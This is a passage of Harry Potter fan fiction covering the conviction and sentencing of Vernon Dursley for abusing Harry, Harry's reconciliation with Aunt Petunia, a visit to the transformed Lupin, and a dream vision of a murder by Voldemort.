gone mad?&#8221; Fudge asked Dumbledore.</p>\n\n<p> &#8220;Oh quite sure. But then he&#8217;s always been a little strange.&#8221; The headmaster responded glibly whilst handing the Minister of Magic an ice pack for his eye.</p>\n\n<p> They looked over to where the miraculously recovered young wizard was laid out on the over-stuffed leather couch in the Ravencast&#8217;s private chamber, at the insistence of Molly Weasley. She&#8217;d also wrapped a warm blanket over his legs &#8211;though no-one knew where she&#8217;d gotten it from- she&#8217;d shoved a large cup &#8211;it was practically a basin- of hot chocolate into his hands, and now stood over him like a guard dog, practically growling like a Doberman when anyone got too close. </p>\n\n<p> Though Hermione was allowed close, by virtue of the &#8216;connection&#8217;, and the fact that Mrs Weasley liked her. And Remus was allowed near, by virtue of the fact he was as likely to bite the hand off anyone who came too near as Molly was.</p>\n\n<p> Harry swatted Hermione&#8217;s hand away for the eighth time as it snaked its way up to test how warm his forehead was.</p>\n\n<p> The Judge himself was huddled in one corner talking to Larry and Barry &#8211;</p>\n\n<p>muggle-born&#8217;s if ever there were, also incidentally brothers. Harry remarked that their parents must have had a poor sense-of-humour. Larry had asked him what about.</p>\n\n<p> Ron had been sent out with the task of finding some chocolate, and had been told to take Hagrid with him. The half-giant had been blubbering earlier, mumbling something along the lines of</p>\n\n<p> &#8220;He &#8216;membered (sniffle) &#8216;memebered it wer&#8217; me &#8216;at found &#8216;im.&#8221;</p>\n\n<p> Harry himself wasn&#8217;t really sure what was going on, other than the fact that people were treating like he was made of glass or fine bone china. He appreciated their concern, but it was stifling.</p>\n\n<p> It seemed as though he was forever doomed to know less about himself than everyone else. There was possibly only one way of finding out what had happened in the courtroom. </p>\n\n<p> &#8220;Professor Dumbledore?&#8221;</p>\n\n<p> The headmaster moved forward, coming to a respectful halt a few feet from Mrs Weasley.</p>\n\n<p> &#8220;Yes Harry?&#8221;</p>\n\n<p> &#8220;Would it be alright if I had a word with you?&#8221;</p>\n\n<p> He looked around pointedly at the others before adding.</p>\n\n<p> &#8220;Alone?&#8221;</p>\n\n<p> &#8220;Of course Harry.&#8221; Dumbledore said it wit such a sense of finality that the room began clearing immediately. Hermione made it clear that she would see Harry later; Mrs Weasley levelled Dumbledore with a stern glare as she too shuffled out. Lupin seemed to almost growl when Dumbledore moved a little closer to Harry.</p>\n\n<p> &#8220;Remus, please return to Hogwarts.&#8221;</p>\n\n<p> &#8220;Why?&#8221; He ground out between his teeth.</p>\n\n<p> &#8220;Because it&#8217;s a full moon tonight, and you need to get somewhere safe.&#8221;</p>\n\n<p> Lupin blinked, and shook his head clearing away the more animal-like thoughts he was having.</p>\n\n<p> &#8220;Of course Professor, I&#8217;ll let Alastor know I&#8217;ll be needing his help tonight.&#8221;</p>\n\n<p> He turned to Harry.</p>\n\n<p> &#8220;When I&#8217;m back on my feet, you&#8217;ll have to come to dinner with me and Sirius. I know he&#8217;s been dying to tell you a few tales recently.&#8221;</p>\n\n<p> Harry grinned.</p>\n\n<p> &#8220;I&#8217;ll look in on you when I get back.&#8221;</p>\n\n<p> Remus appeared hesitant about letting Harry seeing him in his wolfish state. But then he thought better of it, and nodded his head.</p>\n\n<p> &#8220;I&#8217;d appreciate that.&#8221; </p>\n\n<p> Remus left through the magical wall, leaving Dumbledore and Harry alone. </p>\n\n<p> &#8220;So Harry, you want to know what everyone else does?&#8221;</p>\n\n<p> Harry swung his legs over the side of the couch, and brought himself into a sitting position, and took the blanket off.</p>\n\n<p> &#8220;It would be nice if I knew what memories people had seen, given that I can&#8217;t remember them anymore myself.&#8221;</p>\n\n<p> &#8220;I&#8217;m sure it would be. Harry I&#8217;m going to ask you a difficult question, and you don&#8217;t have to answer if you don&#8217;t want to.&#8221;</p>\n\n<p> Harry nodded.</p>\n\n<p> &#8220;How much do you remember of the night your parent&#8217;s died?&#8221;</p>\n\n<i><p>Of all the things to want to talk about&#8230;</p>\n\n</i><p> Dumbledore waited patiently for Harry to begin.</p>\n\n<p> &#8220;I remember my parent&#8217;s talking a little, and green light. But that&#8217;s it. I guess I was too young to remember anything else.&#8221;</p>\n\n<p> Dumbledore sat down next to Harry.</p>\n\n<p> &#8220;Sometimes Harry, we find we can remember something from early in life, when our memories are jogged by something, like a smell or song.&#8221;</p>\n\n<p> Harry nodded; his stomach fell through the floor.</p>\n\n<p> &#8220;The memories of that night are inside of you. They form a part of who and what you are, as much an arm or leg are a physical part of you. You need these to survive, just as you need your memories and your experiences to survive. Whether you are aware of it or not, they are inside of you, waiting for some trigger or sign that they are needed. The Memorillius curse is an artificial trigger. We have seen those memories that you have yet to recall.&#8221;</p>\n\n<p> Harry winced. </p>\n\n<p> &#8220;I thought as much.&#8221;</p>\n\n<p> He looked down at the large mug of rapidly cooling hot chocolate in his hands.</p>\n\n<p> &#8220;Do you know what will happen now?&#8221; </p>\n\n<p> &#8220;The jury are deliberating the evidence. I think that we can easily guess the verdict.&#8221;</p>\n\n<p> &#8220;So I won.&#8221;</p>\n\n<p> Harry turned to look at Dumbledore.</p>\n\n<p> &#8220;So why don&#8217;t I feel good about it?&#8221;</p>\n\n<p> Dumbledore&#8217;s lips drew into a slight smile.</p>\n\n<p> &#8220;Because winning isn&#8217;t everything. What your Uncle did&#8230; will remain with you the rest of your life, but for now I believe justice will be served; he will likely go to Azkaban for some years. You should take some comfort in that.&#8221; </p>\n\n<p> &#8220;Azkaban?&#8221; Harry said with a shudder. So Vernon would be spending time with the Dementors. He certainly deserved such a fate. When would he awake in the middle of the night feeling the burning of skin where old pains lay? When would he flinch at the touch of a friend? When would he be afraid to be alone in small dark rooms, or to be scared to trust both friends and strangers?</p>\n\n<p> But still it was Azkaban, the only people Harry had ever thought deserved cells in that place were overly fond of black cloaks and masks.</p>\n\n<p> Dumbledore stood up.</p>\n\n<p> &#8220;Well Harry, the jury may be some time yet, I think I will see to it that Remus gets home safely, wouldn&#8217;t want him rampaging down Diagon Alley eating small children or anything.&#8221; </p>\n\n<p> Dumbledore reached forward one gnarled finger and tapped Harry&#8217;s mug three times. The hot chocolate steamed, and Harry felt the return of warmth to the liquid through the mug into his hands. His eyebrows shot up almost into the back of his hairline. He looked up at the old wizard open-mouthed. </p>\n\n<p> &#8220;How did you&#8230;? Your wand&#8217;s downstairs isn&#8217;t it?&#8221;</p>\n\n<p> Dumbledore&#8217;s smile reached his eyes.</p>\n\n<p> &#8220;Later Harry&#8230;one step at a time. You should know that your Aunt has asked if she might speak with you. She&#8217;s outside, would you like me to send her in?&#8221;</p>\n\n<p> Harry nodded.</p>\n\n<p> &#8220;Of course.&#8221;</p>\n\n<p> The magical wall shimmered slightly as Dumbledore walked through it, the image distorted like ripples of water.</p>\n\n<p> Harry looked back at his hot chocolate like it might grow hands and feet and introduce itself as Norris in the next few minutes. When that didn&#8217;t happen he shrugged and took a deep mouthful, and when nothing untoward happened, he took another.</p>\n\n<p> &#8220;Oh my goodness.&#8221; Aunt Petunia exclaimed as she entered the room, turning and watching what she had previously believed to be a solid wall ripple slightly on her passing through it.</p>\n\n<p> &#8220;Aunt Petunia?&#8221;</p>\n\n<p> Petunia clutched at her handbag nervously, and looked around the room with a small amount of suspicion. She moved to the leather armchair opposite the settee Harry sat on, she was about to sit down when she appeared to think better of it.</p>\n\n<p> &#8220;Don&#8217;t worry it really is there.&#8221; He reassured her with a smile</p>\n\n<p> Petunia gave a slightly disapproving look, and sat down with great elegance, arranging her skirt modestly as she did so. Both hands still lay on her handbag, on her knees, she seemed nervous. </p>\n\n<p> &#8220;Well I&#8217;m just glad something is real around here.&#8221; She leaned forward and whispered.</p>\n\n<p> &#8220;How do you cope with all this &#8216;what is real, and what isn&#8217;t?&#8217;. I&#8217;m finding it all very confusing.&#8221; She confided.</p>\n\n<p> &#8220;You sort of get used to it after a while.&#8221;</p>\n\n<p> She smiled and pulled back.</p>\n\n<p> Harry waited politely for a few minutes for Petunia to say whatever it was she had come to say, when nothing was forthcoming he decided to start the conversation. </p>\n\n<p> &#8220;Professor Dumbledore said you wanted to see me? Is everything&#8230; well of course everything isn&#8217;t alright, but is there something I can help you with?&#8221;</p>\n\n<p> Petunia looked up at him, warmth shining through her assessing gaze. Her lips curled upwards slightly.</p>\n\n<p> &#8220;Do you always do that?&#8221;</p>\n\n<p> &#8220;Do what?&#8221; Harry asked confused. </p>\n\n<p> &#8220;Ask other people if they&#8217;re alright before thinking of yourself first?&#8221;</p>\n\n<p> Harry blushed.</p>\n\n<p> Petunia cocked her head to one side.</p>\n\n<p> &#8220;How could I have missed the young man you are becoming? How could I have ever allowed myself to hate such a good person?&#8221;</p>\n\n<p> &#8220;We&#8217;re all allowed to make mistakes from time to time, it&#8217;s what makes us human.&#8221; He answered, without really thinking about it, just knowing it to be true.</p>\n\n<p> &#8220;I suppose you&#8217;re right. You&#8217;re quite clever for your age aren&#8217;t you?&#8221;</p>\n\n<p> &#8220;Ask me again after I&#8217;ve gotten my O.W.L results.&#8221;</p>\n\n<p> His aunt chuckled a little. Then she appeared to compose herself.</p>\n\n<p> &#8220;I&#8217;m sorry to ask, perhaps I shouldn&#8217;t, but I need to know. Do you know what will happen to your Uncle?&#8221;</p>\n\n<p> Harry was taken aback briefly, hadn&#8217;t anybody told her?</p>\n\n<p> &#8220;Well I suppose, he&#8217;ll go to Azkaban if he&#8217;s found guilty.&#8221;</p>\n\n<p> &#8220;Of course he will be found guilty.&#8221; She replied sadly.</p>\n\n<p> &#8220;Azkaban is some sort of wizards prison isn&#8217;t it?&#8221;</p>\n\n<p> Harry nodded. Petunia winced.</p>\n\n<p> &#8220;I&#8217;ve heard a little bit about it since I came here. Ms Figg has mentioned it in passing, your Godfather was sent there for a crime he didn&#8217;t commit wasn&#8217;t he?&#8221;</p>\n\n<p> Harry nodded again.</p>\n\n<p> &#8220;All of the thing&#8217;s I&#8217;ve heard, they mentioned something called Dementors, and well they don&#8217;t sound very nice. And it&#8217;s not an easy place to reach if I want to see him.&#8221; She stuttered the last part out.</p>\n\n<p> &#8220;See him?&#8221; Harry cried out a little loudly. How could she want to see him?</p>\n\n<p> She looked as though she had expected the look on Harry&#8217;s face. He was hurt, and confused, and angry.</p>\n\n<p> &#8220;I know that you don&#8217;t understand, but he&#8217;s my husband, and I love him.&#8221;</p>\n\n<p> &#8220;How can you, after all he&#8217;s done? You left him.&#8221;</p>\n\n<p> &#8220;I know, and I would leave him again. But when I look at him, I don&#8217;t see the monster that did all those things to you. I can still see the man I fell in love with, though that seems like it was a long time ago.</p>\n\n<p> When you&#8217;re older some day, and you have loved someone too, then you might understand. I may have left him, but I can not forget that I loved&#8230; and still love him, I cannot give up on him, not yet.&#8221;</p>\n\n<p> Her eyes watered with unshed tears. Harry had sometimes dreamt of exacting revenge on his Uncle for all the pain he had caused him, going to Azkaban was ore then Harry could have hoped for. But what was the price of that? For so long Harry had looked upon his family as &#8216;The Dursley&#8217;s&#8217; and thought little more of them. How could he have forgotten that not being magically inclined didn&#8217;t make their problems any less real? It didn&#8217;t make the fact that they were human beings too, any less real. It didn&#8217;t mean that they weren&#8217;t capable of feeling pride, happiness and love any less real.</p>\n\n<p> &#8220;I think I understand.&#8221;</p>\n\n<p> His Aunt nodded nervously. She seemed hesitant about something else.</p>\n\n<p> &#8220;Harry I was wondering&#8230; I had thought perhaps&#8230; do you want to stay&#8230; do you still want to come home during the summer?&#8221;</p>\n\n<p> &#8220;Oh, erm&#8230; I didn&#8217;t think you&#8217;d really want me too.&#8221; He responded sheepishly.</p>\n\n<p> &#8220;Well, I thought as Professor Dumbledore mentioned some kind of magic that you need to come back for at least once a year for that you would be coming anyway. But I&#8230; I wanted to ask if you really did want to. I know it&#8217;s not really a place of fond memories for you, but I had thought we might make a start on changing that. I&#8217;d&#8230; like to get to know you, I&#8217;d like Dudley to do the same? I can get time off work during the summer, their pretty understanding about that sort of thing&#8230;&#8221;</p>\n\n<p> &#8220;Work? You&#8217;re working?&#8221; Harry interrupted, shocked. As far as he was aware, his Aunt had never worked a day in her life.</p>\n\n<p> &#8220;Yes, I&#8217;m in catering.&#8221; She beamed proudly.</p>\n\n<p> &#8220;It&#8217;s only part-time really, whilst Dudley&#8217;s at school, I bake cakes, Mrs Donnelly says I have a real talent for it. We&#8217;re lucky that the mortgage was paid off early and I only have to worry about the house bi&#8230;&#8221; she broke off.</p>\n\n<p> &#8220;Oh I&#8217;m sorry Harry, I&#8217;m sure that&#8217;s of no interest to you whatsoever. It&#8217;s just I needed to pay the bills somehow, everything else&#8230; well Vernon took to pay his lawyer.&#8221;</p>\n\n<p> &#8220;Aunt Petunia?&#8221;</p>\n\n<p> &#8220;Mmm?&#8221;</p>\n\n<p> &#8220;I&#8217;d be happy to stay with you.&#8221; </p>\n\n<p> His Aunt&#8217;s face broke out into the largest and most genuine smile he&#8217;d ever seen. He was surprised at how pretty she was. Then again he knew his own other was considered very beautiful, and the two women did share genetics, if not an inclination to practice witchcraft.</p>\n\n<p>\n\n</p>\n\n<p> They were recalled by the jury in what was one of the shortest deliberation times in the joint wizard-muggle court&#8217;s history. </p>\n\n<p> Harry wished that Remus could have been there, but with Dumbledore and Fletcher sat either side of him. And with Hermione, Petunia, Ron and his parent&#8217;s there, he certainly didn&#8217;t feel alone.</p>\n\n<p> Though the results were obvious some formalities still had to be observed.</p>\n\n<p> Vernon was placed in the centre of the symbol on the floor, several security wizards stood around him showing the promise of great discomfort to his person if he made any trouble. Ravencast and Larry and Barry took their seats at the head of the court.</p>\n\n<p> One member of the jury stood- an elderly woman with a cheery face who smelled faintly of mothballs and cough medicine, and Ravencast asked her directly if the jury had reached their verdict. She answered in affirmative, shooting a very nasty glare at Vernon.</p>\n\n<p> &#8220;Would you please tell the court of the jury&#8217;s verdict?&#8221;</p>\n\n<p> &#8220;Guilty on all counts.&#8221;</p>\n\n<p> Ravencast nodded.</p>\n\n<p> Harry heard little whoops of joy from his friends. Fletcher pounded a gnarled fist against their table in approval. Ravencast smiled darkly at Vernon, his lips stretched thin and tight in a calculated expression.</p>\n\n<p> &#8220;Well then, it is the judgement of this court that there is no place in civilised society for the likes of you Vernon Dursley. You are to be given the maximum sentence for your crimes, with no chance for parole, and you most certainly won&#8217;t be getting out early for good behaviour. Vernon Dursley you are to be taken from this court hence with to Azkaban prison there to spend twenty years. Take him.&#8221; </p>\n\n<p> The judge nodded to the security wizards that included Thomas Mistspellt, who promptly began manhandling Vernon towards the door. Everyone in the court seemed to stand and begin talking at once; strangers threw their congratulations to the young, dark-haired wizard who was currently dumbstruck in his seat at the prosecution table.</p>\n\n<p> The enormity of such a sentencing struck Harry with a blow. Twenty years? What man could survive twenty years in Azkaban? Sirius had survived for thirteen because he knew in his heart he was innocent of his crimes, but Vernon did not have that luxury.</p>\n\n<p> Vernon struggled against the wizards trying to get him out of the court. </p>\n\n<p> &#8220;Dad!&#8221; Dudley&#8217;s muffled call came out from the crowd. </p>\n\n<p>\n\n<i>Wait&#8230; </i>Harry thought.</p>\n\n<p> &#8220;Wait.&#8221; He said with such force it startled Fletcher. The courtroom fell silent once again.</p>\n\n<p> &#8220;What&#8217;s the matter Harry?&#8221; the old Scot&#8217;s man asked.</p>\n\n<p> &#8220;Can&#8217;t we?&#8230; Does he have too&#8230;?&#8221; Harry nodded towards Vernon still struggling by the door.</p>\n\n<p> Fletcher stared at Harry&#8217;s face for a moment, sighing as he realised what it was the young wizard wanted him to do.</p>\n\n<p> &#8220;Your honour, my client invokes his privileges as lain down in wizard law.&#8221;</p>\n\n<p> Ravencast appeared momentarily dumbstruck but recovered quickly, halting the security wizards moving Vernon with a wave of his hand.</p>\n\n<p> &#8220;Go ahead.&#8221;</p>\n\n<p> Harry was confused.</p>\n\n<p> &#8220;What privileges?&#8221; he whispered as Fletcher propelled him forward to stand before the judge over the triquatra symbol.</p>\n\n<p> &#8220;By wizard law, the victim has the right to ask for leniency in sentencing of their attackers.&#8221; He whispered quietly.</p>\n\n<p> &#8220;You have something to request Mr Potter?&#8221; Ravencast did not look amused.</p>\n\n<p> &#8220;Yes.&#8221; He said nervously. He glanced over his shoulder and saw the faces in the crowd that mattered most in that moment. Vernon, Dudley and Petunia. He took a deep breath.</p>\n\n<p> &#8220;I&#8217;d like to request leniency on my Uncle in this case. Though I do not doubt that he may deserve time in Azkaban, I think that it will do more harm than good with regards to the rest of my family.&#8221;</p>\n\n<p> &#8220;I see.&#8221;</p>\n\n<p> For some tense minutes, Ravencast conferred with the other Phoenix order wizards.</p>\n\n<p> &#8220;Very well. Vernon Dursley, it is now the sentence of this court taking into account your nephew&#8217;s invocation of his rights, that you be taken to a smaller facility for criminals, where you will have the right to visitors&#8230;&#8221; he looked pointedly at Petunia and Dudley as he said this. &#8220;&#8230; there to spend fifteen years, no early leaving and no parole. Be thankful your nephew took mercy on you this day, for I would not have.&#8221;</p>\n\n<p> Vernon appeared anything but grateful. In fact he was livid.</p>\n\n<p> With a speed that surprised everyone, the huge man shot forward, using his bulk to push past Mistspellt and his fellow security guards, and ploughed straight towards Harry. His face so red, it was almost puce. A vein throbbed on his temple, there was no semblance of conscious thought to be seen within his eyes. Just sheer hatred. He&#8217;d almost reached Harry when the others began to gather themselves too, moving forward to protect Harry.</p>\n\n<p> But it was clear they wouldn&#8217;t reach him before the first blow was struck.</p>\n\n<p> Vernon&#8217;s right arm drew backwards. His hand became a fist. </p>\n\n<p> Harry&#8217;s left arm moved upwards, at first sight it appeared to be instinctive protection, but in the blink of an eye something changed.</p>\n\n<p> Vernon&#8217;s fist flew forward, a startling amount of power was in that punch, as Harry well knew. </p>\n\n<p> But as the others looked on in shock, that balance of power between the two shifted. </p>\n\n<p> Vernon&#8217;s punch never landed. His fist laid enclosed in Harry&#8217;s left hand. And Harry&#8217;s hand began to squeeze. Vernon let out a startled yelp, as his hand was being crushed in the vice-like grip. His short and roughly trimmed nails began to dig into the palm of his hand. They drew blood.</p>\n\n<p> The bones in his hand came under increasing strain, as they reached near breaking point, he let out a gasp and fell to his knees. He tried to muffle the sounds of his pain, but Harry&#8217;s hand only seemed to grow tighter.</p>\n\n<p> &#8220;Harry?&#8221; </p>\n\n<p> Vernon heard the Granger girl whisper quietly as everyone else stared. Vernon looked up, and saw dead hollows where his nephew&#8217;s eyes were. There was no emotion written across his face, no anger, pain nor sadness. Just nothing. No it was not nothing&#8230; there was power. As he watched a fire seemed to grow in those eyes, and Vernon became deathly afraid, his hulking body trembled, and his breath was short and shallow, tears began to fall on his cheeks. But all Vernon could think of was the overwhelming pain in his right hand and the power in his nephews eyes.</p>\n\n<p> Quiet slowly Harry leaned forward slightly. His voice was deeper and coarser than Vernon had heard in the young man before.</p>\n\n<p> &#8220;You never get to lay a hand on me again. If you ever try, I assure you this time I will hurt you back. It wasn&#8217;t my fault I know that now. You lose. Do you understand?&#8221;</p>\n\n<p> The grinding sensations of the small bones in Vernon&#8217;s hand became too much to bear. He let out a small sob.</p>\n\n<p> &#8220;Yes I understand damn it, let go!&#8221;</p>\n\n<p> Harry didn&#8217;t let go his grip tightened a little more; Vernon winced.</p>\n\n<p> &#8220;Please&#8230; please let go.&#8221;</p>\n\n<p> Satisfied, Harry finally let go. Vernon fell back and nursed his injured hand.</p>\n\n<p> A hand gripped Harry&#8217;s upper arm in a light touch.</p>\n\n<p> &#8220;Harry?&#8221;</p>\n\n<p> He turned to Hermione&#8217;s worried face.</p>\n\n<p> &#8220;It&#8217;ll be alright now Herm. It&#8217;s over, let&#8217;s get back to school.&#8221;</p>\n\n<p> ~o0o~</p>\n\n<p> &#8220;That&#8217;s it? It&#8217;s over?&#8221; Sirius asked for the third time a few hours later. Harry nodded. Grin wide.</p>\n\n<p> Sirius swept a hand through his hair.</p>\n\n<p> &#8220;You&#8217;re sure?&#8221; </p>\n\n<p> &#8220;Yes Sirius it&#8217;s over alright?&#8221; Harry&#8217;s grin widened. </p>\n\n<p> Sirius strode across the wide space between them in a handful of steps of his long legs and enveloped his godson in a crushing hug. He felt Harry tense briefly under the embrace, but held on until his godson finally relaxed into his arms and returned the affection.</p>\n\n<p> &#8220;Gods, Remus is gonna be pissed he missed this. I supposed we&#8217;ll have to throw a small party tomorrow.&#8221;</p>\n\n<p> &#8220;Actually I don&#8217;t feel much like celebrating. I did just send my Aunt&#8217;s husband to jail for fifteen years. And I think the Gryffindor&#8217;s are planning something anyway. Hermione and Ron shot off the minute we got back. They were heading towards the entrance to the kitchens. I think that the house elves are gonna have their work cut out for them with those two on the case.&#8221;</p>\n\n<p> Sirius grinned.</p>\n\n<p> &#8220;I bet they will.&#8221;</p>\n\n<p> He pulled out of their embrace.</p>\n\n<p> &#8220;Whether you feel like celebrating or not, I&#8217;m sure Remus would like to see you. If you want to risk life and limb that is.&#8221;</p>\n\n<p> &#8220;Why not. Risking limbs is an every day occurrence for me anyway.&#8221;</p>\n\n<p> Sirius changed before him into his animagus form. Harry shivered at the sight, no matter how often his godfather did it; it was still a creepy sight.</p>\n\n<p> His godfather bounded out of his private rooms on the teachers wing, and Harry supposed he was meant to follow.</p>\n\n<p> As they had gone several floors down and exited the tower, Sirius led Harry towards the lower floors and Harry groaned. They would be keeping Lupin in the dungeons near Snape&#8217;s classroom and the Slytherin dorm rooms wouldn&#8217;t they?</p>\n\n<p> Fortunately the dorm rooms were on the opposite side of the Hogwarts Dungeons, and Harry was a little disturbed to realise how extensive the network of little cells was. He began to realise that Hogwarts hadn&#8217;t always been a school, or if it had, it certainly hadn&#8217;t been as benevolent in its punishments.</p>\n\n<p> This had the fortunate side effect of not being led anywhere near the Slytherin&#8217;s and thus not having to explain why Harry and the school mascot were down there after lesson hours. At some point they walked into a corridor and then walked through a fake wall, like the one to Ravencast&#8217;s office. Apparently there was also a sound-blocking spell across the fake wall, because the moment they passed through, Harry heard the low animal growls that could only come form an enraged werewolf. </p>\n\n<p> Sirius changed back into his human form, and turned back to his godson.</p>\n\n<p> &#8220;Are you sure you want to see him? When he&#8217;s like this&#8230; he doesn&#8217;t really recognise anything or anyone. He&#8217;s as likely to tear your hand off as shake it.&#8221;</p>\n\n<p> Harry took a breath, and nodded.</p>\n\n<p> They walked to the end of a long corridor. Harry hoped to Merlin that they didn&#8217;t have to find their way out or in again in a hurry. The network of dungeons was like a maze.</p>\n\n<p> Sirius put one hand forward when they reached the last door from behind which they could hear an animal scream of rage. Sirius muttered something under his breath and the door opened.</p>\n\n<p> &#8220;How did you&#8230;? You don&#8217;t have a wand.&#8221;</p>\n\n<p> Sirius grinned.</p>\n\n<p> &#8220;Maybe later. Dumbledore taught me a few things. It&#8217;s not hot chocolate but the principles the same.&#8221;</p>\n\n<p> Harry&#8217;s heart missed a couple of beats when they went inside. Remus&#8217;s werewolf form was far more terrifying close up than Harry had had the misfortune to see during his third year. Saliva dripped from three-inch long fangs. Remus&#8217;s moderately muscled frame became body-builder sculpted and dark brown, with downy fur covering all exposed skin. His snout stuck out, steam bursting from nostrils, as well as more unpleasant things. His arms and legs were shackled and chained to the floor in the centre of the circular room. Pointed dog-ears twitched, and yellow eyes flicked to the intruders who had just entered the room. </p>\n\n<p> Sirius was right, there was no recognition in those eyes, only pure animal rage.</p>\n\n<p> &#8220;I wouldn&#8217;t get too close if I were you.&#8221; Moody&#8217;s voice said calmly from behind.</p>\n\n<p> &#8220;He&#8217;s not eaten yet.&#8221;</p>\n\n<p> Harry turned to see Moody leaning back on a chair with his feet up on a small table set just beside the door. He was in the process of finishing his dinner. Cutting an apple with a knife. He was eating the chunks and spitting out pips in Lupin&#8217;s direction. </p>\n\n<p> The werewolf lunged forward with a challenging growl, Harry startled fell to the hard floor and winced as pain lanced up through his posterior.</p>\n\n<p> The werewolf growled, further enraged when the chains prevented him form ripping his prey&#8217;s head off. </p>\n\n<p> &#8220;Why haven&#8217;t you fed him yet?&#8221; Sirius asked in annoyance. He stalked to over to the table, and pulled out a slightly bloody bag from under it.</p>\n\n<p> &#8220;I didn&#8217;t want to get put off my dinner by watching that thing eat.&#8221; Moody responded.</p>\n\n<p> Sirius pulled out what appeared to be half a pig&#8217;s carcass and through it to the wolf, who immediately forgot their presence when food was in front of him, and began ripping it into a bloody mess. Bones crunched under a powerful jaw, all sense of dinner table manners that Remus possessed were totally forgotten.</p>\n\n<p> Despite the rather horrific sight that had Harry&#8217;s stomach clenching with a sudden desire to be sick, he still felt the need to speak up for the werewolf.</p>\n\n<p> &#8220;He&#8217;s not a thing. He&#8217;s my friend.&#8221;</p>\n\n<p> Moody snorted.</p>\n\n<p> &#8220;You&#8217;re wrong Mr Potter. He is a thing. When he&#8217;s like this, he would kill you without a second thought. You&#8217;d do as well to remember that, because you might have to kill him one day. When it comes down to it. It&#8217;s you or him. Look at him.&#8221;</p>\n\n<p> Harry did, and once again fought back the urge to be sick. Remus, no the werewolf, had pulled the pigs head off, and bent his own down to lick the contents as they spilled to the floor.</p>\n\n<p> &#8220;He&#8217;s not going to grant you a quick and painless death either.&#8221;</p>\n\n<p> &#8220;For Merlin&#8217;s sake, leave him alone. It&#8217;s hard enough for any of us to see him like this without you going off on one.&#8221; Sirius said testily.</p>\n\n<p> &#8220;That&#8217;s why he asked me to stay with him Sirius. He knew I wouldn&#8217;t hesitate to do what needed to be done if it came down to it.&#8221;</p>\n\n<p> Harry&#8217;s head shot up.</p>\n\n<p> &#8220;You mean kill him?&#8221;</p>\n\n<p> Moody eyes cast downwards, and he didn&#8217;t meet Harry&#8217;s gaze when he answered.</p>\n\n<p> &#8220;If that&#8217;s what&#8217;s needed.&#8221;</p>\n\n<p> Somehow, Harry got the feeling that the old Auror wouldn&#8217;t find it as easy to kill the werewolf as he was saying.</p>\n\n<p> Harry glanced back at Remus.</p>\n\n<p> &#8220;I just wanted you to know&#8230; that we won&#8230; we won, Vernon&#8217;s going to jail&#8230; and that, well I couldn&#8217;t have got through this without you&#8230; or Sirius&#8230; I just wanted you to know.&#8221; He said softly.</p>\n\n<p>~o0o~</p>\n\n<p> Harry finally crawled to bed that night a little after two in the morning. The expected party to celebrate his &#8216;triumphant defeat&#8217; of his Uncle was far more raucous than anything he&#8217;d seen before. Student&#8217;s seemed to be ecstatically happy on his behalf. </p>\n\n<p> Muggle music blared out loudly over someone&#8217;s radio, the student&#8217;s ate and drank, and even danced until about midnight. When Professor McGonnagoll finally turned up and told them to keep the noise down. Their celebration had quietened down after that, and suddenly very weary, and aware of the upcoming exams, Harry had called it a night, he and Ron trudged upstairs, changed and bid each other a good nights sleep.</p>\n\n<p> If only it could have been that simple.</p>\n\n<p>\n\n</p>\n\n<p> ~o0o~</p>\n\n<p>\n\n</p>\n\n<p> The world was faded, muted blacks and pale greys. The barest idea of torchlight seemed far away. And the overwhelming sense of fear, and sensation of pain so far beyond anything Harry had ever experienced made his head sing loud with ache. He was huddled into himself on a cold floor, and yet it&#8217;s hard surface and icy temperature did nothing to relieve him of the sharp knife like pains of heat that lanced all over his body. Arms wrapped around his head, trying desperately to bring some sort of relief. His entire head echoed as thought it was being continuously pounded against a wall. In his pain, everything else faded. The walls, the floor, the presences that surrounded him were at the farthest reaches of consciousness. Laughter of those nearby caused ringing inside the pounding head. And Harry&#8217;s fear began to overwhelm him. </p>\n\n<p> Until he realised that it was somebody else&#8217;s fear. The pain belonged to someone else. </p>\n\n<p> The sensation changed. </p>\n\n<p> Harry looked down at a bloodied, scalped figure huddled on the floor, rocking and crying in rasping breaths, screams intermittent. And he felt deep pleasure. The feeling of knowing he had caused this pain, that he had power over this being. It was stimulating to the point of being a sensual experience.</p>\n\n<p> Harry gasped, and tried to wrench himself free of the dark horrors of Voldemorts twisted mind. The power he felt flowing through him was stifling, overawing in its depth, equal to his own in many ways. And yet it had been twisted to create this hell. To make the suffering that Harry saw before him.</p>\n\n<p> And felt again, as he was drawn back into the pain filled mind of the man on the floor.</p>\n\n<p> Two little words, brought a relived sigh from what remained of the tattered consciousness that Harry shared.</p>\n\n<p> And then he was cast adrift on a sea of ebony dark. For there was no life raft, no buoy for him to cling to with every last breath. The light was gone; his hope had sunk long ago beneath the dark waves into the endless abyss, the colour of night without star or moon.</p>\n\n<p> He feared that he was again condemned to drift on the waves of midnight dark, tormented by the screaming of a man in unfathomable pain. The man&#8217;s life was ending he felt it. He was trapped inside of a dying mind. One blinded to all else but the eminent dark stretched out before it.</p>\n\n<p> Harry did something then that he had never thought to do before. He prayed. Prayed for the light to come again; prayed that Voldemorts victim would come too, so that Harry might be able to see where he was and save him. </p>\n\n<p> But the man did not wake.</p>\n\n<p> Harry could not save him.</p>\n\n<p> All was dark, the consciousness fleeting. A great swell of emotions more powerful than any human could ever understand until the moment of their own ending washed over Harry&#8217;s mind for a brief moment. Emotion so strong that all Harry had ever felt in his short life was muted somehow, small, a flicker of candlelight, when the sun was outside.</p>\n\n<p> The man died.</p>\n\n<p> Harry awoke in the dorm room, screaming in rage and frustration.</p>\n\n<p> Voldemort had done it again.</p>\n\n<p> Voldemort had killed.</p>\n\n<p> ~o0o~</p>\n\n<p> Harry&#8217;s bare feet patted along the cold stone floors of the school corridors, his toes had gone numb long ago and the rest of his feet were starting to follow.</p>\n\n<p> The castle was quiet in the small hours of the morning, as Harry padded towards Dumbledore&#8217;s office. He did not rush. What need was there? The poor man was dead. But Ron had convinced Harry to speak with Dumbledore now, even if there was nothing they could do, Harry needed to talk to someone, as he wouldn&#8217;t share the horror of what he&#8217;d just witnessed with his best friend.</p>\n\n<p> He hadn&#8217;t even bothered to take his invisibility cloak with him. If Filch was wandering the castle before dawn, there wasn&#8217;t much he could do beyond sending Harry to the headmaster&#8217;s office, now that Snape was &#8216;indisposed&#8217;.</p>\n\n<p> A nasty shiver crept up Harry&#8217;s spine, making the hairs on the back of his neck stand on end.</p>\n\n<p> During the dream, and the last half hour he&#8217;d been awake, this was the first time that it had occurred to him that the man who&#8217;s death he&#8217;d felt could have been the surly potions professor.</p>\n\n<p> The sudden thought that it could be old beak nose that they found in a ditch somewhere 